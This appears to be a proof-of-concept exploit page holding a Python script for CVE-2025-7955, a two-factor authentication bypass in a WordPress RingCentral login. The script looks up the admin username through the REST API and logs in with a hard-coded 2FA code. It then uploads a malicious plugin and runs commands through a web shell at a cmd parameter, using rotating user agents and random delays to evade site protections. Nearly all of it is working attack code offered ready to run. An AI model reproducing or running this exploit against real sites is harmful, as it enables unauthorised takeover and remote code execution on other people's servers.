4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-7955.py PY
import requests
import argparse
import sys
import os
import random
import time
from bs4 import BeautifulSoup

def print_banner():
    banner = r"""
888b    888                   888          d8b 888                 888 
8888b   888                   888          Y8P 888                 888 
88888b  888                   888              888                 888 
888Y88b 888 888  888 88888b.  888  .d88b.  888 888888 .d88b.   .d88888 
888 Y88b888 `Y8bd8P' 888 "88b 888 d88""88b 888 888   d8P  Y8b d88" 888 
888  Y88888   X88K   888  888 888 888  888 888 888   88888888 888  888 
888   Y8888 .d8""8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b.     Y88b 888 
888    Y888 888  888 88888P"  888  "Y88P"  888  "Y888 "Y8888   "Y88888 
                     888                                               
                     888                                               
                     888                                               
CVE-2025-7955 Exploit By : Nxploited 
"""
    print(banner)

def generate_headers():
    user_agents = [
        "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/117.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15",
        "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:118.0) Gecko/20100101 Firefox/118.0"
    ]
    ua = random.choice(user_agents)
    headers = {
        "User-Agent": ua,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Cache-Control": "max-age=0",
        "DNT": "1"
    }
    return headers

def random_delay(min_delay=1, max_delay=3):
    t = random.uniform(min_delay, max_delay)
    time.sleep(t)

def bypass_protection(response_text):
    block_keywords = ["captcha", "cloudflare", "blocked", "challenge"]
    if any(word in response_text.lower() for word in block_keywords):
        print("[-] Potential protection detected! Trying to bypass...")
        random_delay(2, 5)
        return True
    return False

def fetch_username(api, uid, headers):
    print(f"[*] Trying to fetch username from API for user ID {uid} ...")
    try:
        api_url = f"{api.rstrip('/')}/wp-json/wp/v2/users/{uid}"
        r = requests.get(api_url, headers=headers, timeout=10)
        if r.status_code == 200 and 'name' in r.json():
            username = r.json()['name']
            print(f"[+] Username found: {username}")
            return username
        else:
            print("[-] Could not fetch username from API.")
            return None
    except Exception as e:
        print(f"[-] Exception while fetching username: {e}")
        return None

def login(sess, url, user, headers):
    data = {
        "log": user,
        "RC_Validate_submit": "1",
        "ringcentral_2fa_code": "123456",
        "validation_code": "123456",
        "remember_me": "forever"
    }
    login_url = f"{url}/wp-login.php"
    x = sess.post(login_url, data=data, allow_redirects=False, headers=headers)
    if bypass_protection(x.text):
        print("[-] Blocked by some protection mechanism during login.")
        sys.exit(1)
    if "Location" in x.headers and "/wp-admin/" in x.headers["Location"]:
        return True
    return False

def get_nonce(sess, url, headers):
    h = sess.get(f"{url}/wp-admin/plugin-install.php?tab=upload", headers=headers)
    if bypass_protection(h.text):
        print("[-] Blocked by some protection mechanism during nonce extraction.")
        sys.exit(1)
    s = BeautifulSoup(h.text, "html.parser")
    i = s.find("input", {"id": "_wpnonce"})
    return i["value"] if i else None

def upload_plugin(sess, url, nonce, zpath, headers):
    with open(zpath, "rb") as f:
        files = {"pluginzip": (os.path.basename(zpath), f, "application/zip")}
        data = {
            "_wpnonce": nonce,
            "_wp_http_referer": "/wordpress/wp-admin/plugin-install.php"
        }
        r = sess.post(f"{url}/wp-admin/update.php?action=upload-plugin", data=data, files=files, headers=headers)
        if bypass_protection(r.text):
            print("[-] Blocked by some protection mechanism during plugin upload.")
            sys.exit(1)
        return r

def shell(sess, url, cmd, headers):
    shell_url = f"{url}/wp-content/plugins/Nxploit/index.php?cmd={cmd}"
    resp = sess.get(shell_url, headers=headers)
    if bypass_protection(resp.text):
        print("[-] Blocked by some protection mechanism during shell command execution.")
        sys.exit(1)
    return resp.text.strip()

def Nxploited(target, username, uid, zpath):
    headers = generate_headers()
    sess = requests.Session()
    print(f"[*] Using User-Agent: {headers['User-Agent']}")
    sess.get(f"{target}/wp-login.php", headers=headers)
    random_delay()
    if not username:
        username = fetch_username(target, uid, headers)
    if not username:
        print("[-] Username could not be determined. Exiting.")
        sys.exit(1)
    print(f"[*] Attempting login as: {username} (ID: {uid})")
    if not login(sess, target, username, headers):
        print("[-] Login failed or exploit not enabled.")
        sys.exit(1)
    print("[+] Login successful!")
    random_delay()
    nonce = get_nonce(sess, target, headers)
    if not nonce:
        print("[-] Nonce extraction failed. Exiting.")
        sys.exit(1)
    print(f"[+] Nonce: {nonce}")
    if not os.path.exists(zpath):
        print(f"[-] Plugin {zpath} not found. Exiting.")
        sys.exit(1)
    print("[*] Uploading malicious plugin...")
    ures = upload_plugin(sess, target, nonce, zpath, headers)
    if "Plugin installed successfully" in ures.text or "has been installed" in ures.text:
        print("[+] Plugin uploaded successfully!")
    else:
        print("[-] Plugin upload failed.")
        print(ures.text)
        sys.exit(1)
    random_delay()
    print("[*] Executing: whoami")
    out = shell(sess, target, "whoami", headers)
    print("-" * 40)
    print(out)
    print("-" * 40)
    print(f"[+] Shell: {target}/wp-content/plugins/Nxploit/index.php?cmd=COMMAND")

def parse_args():
    p = argparse.ArgumentParser(description="CVE-2025-7955")
    p.add_argument("-u", "--url", required=True, help="Target WordPress site URL")
    p.add_argument("-user", "--username", default="", help="WordPress admin username (optional)")
    p.add_argument("-id", "--id_admin", default="1", help="WordPress admin user ID (default: 1)")
    p.add_argument("-z", "--zip", default="Nxploit.zip", help="Malicious plugin zip path (default: Nxploit.zip)")
    return p.parse_args()

def main():
    print_banner()
    args = parse_args()
    Nxploited(args.url.rstrip('/'), args.username.strip(), args.id_admin.strip(), args.zip)

if __name__ == "__main__":
    main()